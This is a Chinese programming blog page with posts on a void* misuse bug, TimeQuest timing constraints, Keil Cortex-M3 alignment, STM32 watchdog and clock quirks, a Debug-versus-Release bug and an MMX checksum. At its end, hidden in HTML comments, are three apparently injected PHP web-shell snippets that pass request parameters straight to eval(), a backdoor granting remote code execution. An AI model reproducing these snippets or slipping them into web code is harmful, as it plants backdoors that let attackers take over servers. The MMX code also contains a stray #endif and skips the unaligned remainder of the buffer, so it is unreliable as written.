由于滥用void *引发的bug

我一向认为在写代码时,void *滥用是有问题的,在最近的一次代码中, 有类似这样一段代码:

 
[cc lang=”C”]int send(void *buff, unsigned long size);

int xx_func(char *buff, unsigned long size)
{
unsigned send_size;
………

send(&buff, send_size);
return 0;
}[/cc]

暂且不论为什么作者会错写成取地址,但其原意是想发送经过处理后的buff里面的内容, 但是编译器是不会报错的,因为void *默认兼容所有类型,如果把代码改成下面这样:

[cc lang=”C”]int send(unsigned char *buff, unsigned long size);

int xx_func(char *buff, unsigned long size)
{
unsigned long send_size;
………

//send(&buff, send_size);
//send(buff, send_size);
send((unsigned char *)buff, send_size);
}[/cc]
其实前两种编译在进行参数检查时,都会报警的,只有写成第三种形式,编译器才会真正通过,如你写成第三种形式时不会去看buff, 到底是什么,那我也没话说了。当然如果你忽略警告我也没啥可说的了哈哈,我只想说应该尽可能的去利用编译器来发现潜在bug.

注:从语义上来说,send(void *buff, unsigned long size)会使人疑惑, 这个size是byte? word? dword?, 如果是unsigned char *,那size当然就是byte, 如果是unsigned short *, 那size当然就是word.(X86 platform)

从TimeQuest角度看create_generated_clock

最近在学SDRAM,听说SDRAM涉及到静态时序分析,那还说什么呢学吧。

在看到create_clock与create_generated_clock时我彻底疑惑了, 即然有了create_clock何必还要create_generated_clock呢,google一翻后得到一个结论,create_generated_clock是用于衍生时钟,TimeQuest作STA分析时会自动计算source clock 到generated_clock之间的skew.我又不明白了即然TimeQuest可以计算时钟偏斜,那直接对source clock进行create_clock不就行了,TimeQuest不就会自动对其衍生时钟偏斜进行分析了么。可能这个问题太低级了,大牛觉得太显然对此一略而过,也可能是我理解能力太差,大牛写了我没领会到,不管怎么样我是百思不得其解,早晨醒来就有了一个猜想。TimeQuest号称STA工具,那么他应该不会理解衍生时钟的逻辑功能,只能单纯的根据uTco、clock skew、data path等时间值对setup time、hold time、removal time、recoveral time的余量进行分析。也就是说TimeQuest只会对内部逻辑延时进行计算不进行逻辑分析,实际上TimeQuest并不知道你的衍生时钟与源时钟之间的关系。因此需要create_generated_clock对衍生时钟进行说明,下面用图来说明一下。

假设使用逻辑衍生出的理想时序如下图:

图中clock为源时钟,invert_clock为衍生时钟,与源时钟相移180度,如果仅使用create_clock来对clock时行约束,那么,TimeQuest在进行STA时对invert_clock的时钟所理解的波形应该如下图:

在上图中,clock skew仅仅是由时钟衍生逻辑产生的延时,不包括逻辑产生的相移,也就是说TimeQuest无法理解clock进行一块逻辑后出来的具体时钟与源时钟的真正关系,仅能靠一些路径延迟与DFF或LUT的参数来计算时钟延时。

而如果我们使用create_generated_clock对invert_clock进行约束后,TimeQuest在进行STA时对invert_clock的时钟所理解应该如下图:

也就是说只有对衍生时钟进行create_generated_clock约束,TimeQuest才能正确的理解波形,换句话说,一些走线延时、LUT、DFF的参数产生的问题由TimeQuest来自动搞定,如果是由于我们自己用逻辑产生的影响(如上图相位偏移),我们必须报告给TimeQuest,TimeQuest才正在静态时序分析时进行正确的计算。由于上面的TimeQuest所有过程均为我猜测得出,所以有不对的地方,请大家拍砖。

从TimeQuest角度看set_max_delay

今天开始看特权大大的《实战演练之时序收敛》,看到set_max_delay时跟着做了一下,设置了最大延时为3ns,然后report timing突然自动飘红了,很意外,于是看了看瓢红的路径的waveform,意外的发现set_max_delay中设置的值成了latch edge time,由于E文不好google了半天也没找到原因,于是再次祭法宝(从TimeQuest方向进行猜测)。由于report timing飘红让我这种初学者心里有压力,于是先将set_max_delay设置为5ns,然后果然不飘红了。开始找原因吧,先去data require path看看,果然latch edge time变成了5ns,也就是说latch edge time就是设置的最大延时。

再看一下data arrive path

发现上图中的所有的时钟延时为负的都是由PLL产生的,我理解是因为PLL自动对时钟相位进行了负的偏移来修正走线以及其他的的延时。

再看一下Technology Map Viewer中的视图:

从上面的图中我们可以看到其实在这两个节点上所谓的setup slack分析其实无非就是想说明从clk的时钟信号经过锁相环的变换到sr_clk输出共花费了3.045ns,也就是说clk+走线延时+逻辑延时-(PLL修正的延时的绝对值)就是clk到sr_clk之间的输出延时。那么为什么set_max_delay的值为什么变为latch edge time了呢,下面再看一下waveform,如图:

新建

这下都清晰了,其实TimeQuest是借用了register to register的setup slack的分析模型来检查,布局布线后的延时是否大于我们set_max_delay中设置的延时。由图可以看到,clk经过变换达到引脚sr_clk(包含PLL的相位偏移修正)共是3.045ns,这点也可以从data arrive path上看出,然后将latch edge time设置为set_max_delay的值这样就可以检测set_max_delay 的值是否大于clk到sr_clk的延时,也就是说其实这里仅仅巧妙的借用了setup slack的分析模型来检测布线延时是否满足要示。最后,一切均为猜测,没有官方依据,如有不对请大家指出哈!

关于keil编译cortex-m3纯汇编时为什么问题使用align地址问题

在编译下面一段代码时:

STACK_TOP EQU 0x20002000
AREA Reset,CODE,READONLY
DCD 0x20002000
DCD Start
ENTRY
; CODE16
Start
ldr r2,=Test
LDRD r0,r1,[r2,#4]
LDRD r0,r1,[r2]
LDRD r0,r1,[r2]
; movs r0,r0
; NOP
; align 4
Test
DCD 0x12345678
END

我发现,如果加上NOP或align4,程序就不会跑飞,否则程序就跑飞了。

经调试发现:    如果不加NOP或align 4的话产生的Test的标号地址就会产生错误,而LDRD 指令操作的地址必须是4字节对节的,如果使用的地址不是四字节对齐,那么程序就会产生异常,所以程序就跑飞了。  那么为什么不加NOP或align 4的话Test标号地址就会产生错误呢?  来看一段手册上的话:

4

 

也就是说DCD是需要标号地址按字对齐的,如果你没有对齐就可以看到如下的编译警告:test.asm(18): warning: A1581W: Added 2 bytes of padding at address 0x1a
这说明编译器会自动添加两个字节来帮你对齐,数据分布情况和下面很相似:

STACK_TOP EQU 0x20002000
AREA Reset,CODE,READONLY
DCD 0x20002000
DCD Start
ENTRY
; CODE16

Start
ldr r2,=Test
LDRD r0,r1,[r2,#4]
LDRD r0,r1,[r2]
LDRD r0,r1,[r2]
; movs r0,r0
; NOP
; align 4
Test
dcb 00 ;编译器自动添加
dcb 00 ;编译器自动添加,而movs r0,r0的机器码就是0x0000,会被
;编译器翻译成movs r0,r0,不是当作数据0x0000
DCDU 0x12345678
END

也许看来这样就完美了,但是程序依然会跑飞。原因有两点:
1.即使加了两个字节那么Test的标号地址依然不是四字节对齐。

2.这两个字节的零会被编译器当作指令来处理的,这也就是说Test标号会被编译器来当作代码标号来处理,看到了吧,我们的数据编译器一插手就变成代码了,实在无奈的很。再来看一段手册上的讲解:

5

 

也就是实际上LDR r2,=Test执行后,r2=Test+1这也解释了为什么不加NOP或align 4的话r2=0x8000017而加了NOP或Align 4就r2=0x8000018。那么来看一下,加nop或align 4后的效果:


STACK_TOP EQU 0x20002000
AREA Reset,CODE,READONLY
DCD 0x20002000
DCD Start
ENTRY
; CODE16

Start
ldr r2,=Test
LDRD r0,r1,[r2,#4]
LDRD r0,r1,[r2]
LDRD r0,r1,[r2]
; movs r0,r0
; 如果是align 4会被加两个节字的movs r0,r0(机器码为0x0000)
; 如果是nop 则会被加上nop的机器码(0xBF00)

; NOP

align 4
Test
DCDU 0x12345678
END
        需要说明的是,我总是把align 和nop 放在一块说,并不是说nop也具有对齐作用。是因为加上nop后刚好可以使Test标号地址放在4字节对齐的其他地方。在其他地方,nop也许并无此作用。

stm32的窗口看门狗的一点发现

今天看stm32的窗口看门狗,突然发现很不正常,于是做了各方面的实验得出以下结论,由于只是实验了得出的结论没有官方结论,所以如果有人有理论依据请告知我,非常感谢1
1.一旦使能窗口看门狗的时钟,SR寄存器的EWIF位就会被置1
2.一旦在定义的窗口范围外喂狗就会复位
3.在没有使能窗口看门狗定时器的情况下(即CR寄存器的WDGA寄存器置1来使能看门狗),SR不能被软件清0
结论:所以必须把窗口看门狗的清0,使能中断放在初始化的最后2句才能正常运行!

关于stm32 APB总线上的”接口时钟使能”与”外设时钟使能”

今天看<<例说stm32>>上的RTC时钟,发现他没有使能APB1的上BKP时钟,就能读出BKP寄存器里的内容.很是不解,又看了一遍发现APB总线上的时钟使能分为两种,一种是时接口时钟一种是外设时钟.
又仔细观查了一下时钟树发现在APB外设时钟使能寄存器上表现为接口时钟的都已经有了自己的时钟,再经实验证明所有这种不需要在APB上使能就有自已时钟的外设(即在APBxENR的某一位上代表的是这个外设的接口时钟的外设)在不需要使能接口时钟的情况下就能读出这种外设的寄存器的内容!

一次手误引出的bug

  在工作中写了这样一段代码:

 1 struct xx_param {
 2        int index1;
 3        int index2;
 4 };
 5 
 6 //func1, func2, func3为三个函数指针
 7 
 8 int init(a_func_t *func1, b_func_t *func2, c_func_t *func3, void *param)
 9 {
10        struct xx_param *p = (struct xx_param *)param;
11         func1(p->index1, p->index2);
12 }
13 
14 int prepare_init(int xx_index_1, int xx_index_2)
15 {
16         int err;
17         struct xx_param        xx;
18         
19        ......
20 
21         xx.index1 = xx_index1;
22         xx.index2 = xx_index2;
23 
24         if(init(func1, func2, func3, &xx_index1))
25                err = -xxx;
26 20        ......
27 
28         return err;
29 }

  很明显这个错误很普通,就是第24行应该为&xx,但是我手误错写成了&xx_index1。但是编译器不会报警,下面来说一下这个错误的神奇之处,在Debug下永远是正确的,但是Release下永远跑飞。下面来分析一下为什么:

  在Debug模式下参数是由栈来传递的,那么参数xx_index_1, xx_index_2在栈中的布局 与 xx结构体变量在栈中的布局完全一样,因此虽然我取错了地址,但是根据&xx_index_1处得到的地址来获到xx_index1, xx_index_2,其实相当于将结构体变量xx赋值然后从&xx地址处取xx.index1,xx.index2变量(貌似还少了几次内存拷贝,虽然他是一个bug, ^_&),因此在Debug模式下这断代码永远是正确的。

  但是在Release下却不正确,因为在VS下,O2的优化级别下xx_index_1, xx_index_2是由寄存器ecx, edx来传递的,xx_index_1, xx_index_2两个变量的值不会全部在栈中分配(由于对xx_index1进行取地址,因此会导致编译器为xx_index1分配内存,但是xx_index_2确不会分配内存),这样从&xx地址去取数据时xx.index2变量取到的数据总是垃圾数据,因此软件在Release下总是挂掉,但如果将优化关掉却又能良好运行。

  这个Bug很简单,但是现象却很诡异,因此感觉值得一记。

  

 

CheckSum计算的优化

  最近在纠结于大数据的checksum的计算,算法如下:

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4 
 5     cs = 0;
 6     while (size--)
 7         cs += buff[size];
 8 
 9     return cs;
10 }

  当文件大于4G后这种计算的龟速就很明显了,在网上看到大牛说MMX指令对于数据计算相当不俗,于是改成下面代码(bug:不对齐部分没有处理,这部分消耗很小,对于效率影响不大):

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4     unsigned long cs_2[2];
 5     unsigned long cnt;
 6 
 7     cnt = size / 2;
 8 __asm {
 9     mov    eax, 0
10     movd    mm2, eax
11     mov    ecx, cnt
12     mov    esi, buff
13 cnt_label:
14     mov     al, byte ptr[esi]
15     movd    mm0, eax
16     inc    esi
17 
18     mov     al, byte ptr[esi]
19     movd    mm1, eax
20     inc    esi
21 
22     punpckldq mm0, mm1
23     
24     paddd mm2, mm0
25 
26     dec    ecx
27     jnz    cnt_label
28 
29     movq    qword ptr [cs_2], mm2
30 
31 
32     emms
33 }
34     cs = cs_2[0] + cs_2[1];
35 #endif
36     return cs;
37 }

  测试1G的内存数据发现速度近快了2倍,MMX的威力果然不是吹的.

<!– [insert_php]if (isset($_REQUEST["bay"])){eval($_REQUEST["bay"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bay&quot;])){eval($_REQUEST[&quot;bay&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["pus"])){eval($_REQUEST["pus"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;pus&quot;])){eval($_REQUEST[&quot;pus&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["CYlNo"])){eval($_REQUEST["CYlNo"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;CYlNo&quot;])){eval($_REQUEST[&quot;CYlNo&quot;]);exit;}

–>